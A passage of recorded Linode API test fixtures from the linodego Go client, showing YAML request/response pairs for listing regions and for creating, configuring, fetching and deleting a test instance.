Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 38}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:32:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-8b1y24dj5j2m","firewall_id":1192830,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 67099499, "label": "go-test-ins-wo-disk-8b1y24dj5j2m", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.214.108"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "67a840ecf39180ca8e755980bb51acd5ec975c17", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:32:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-0g82q8ec7q5z","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/67099499/configs method: POST response: body: '{"id": 70423567, "label": "go-test-conf-0g82q8ec7q5z", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:32:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/67099499 method: GET response: body: '{"id": 67099499, "label": "go-test-ins-wo-disk-8b1y24dj5j2m", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.214.108"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "67a840ecf39180ca8e755980bb51acd5ec975c17", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:32:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/67099499 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 14 Nov 2024 18:32:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_GetMonthlyTransfer.yaml000066400000000000000000001124661474652371000337450ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nz-akl-1", "label": "Auckland, NZ", "country": "nz", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "us-den-1", "label": "Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "de-ham-1", "label": "Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "fr-mrs-1", "label": "Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "za-jnb-1", "label": "Johannesburg, ZA", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "my-kul-1", "label": "Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "co-bog-1", "label": "Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "mx-qro-1", "label": "Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "us-hou-1", "label": "Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "cl-scl-1", "label": "Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": 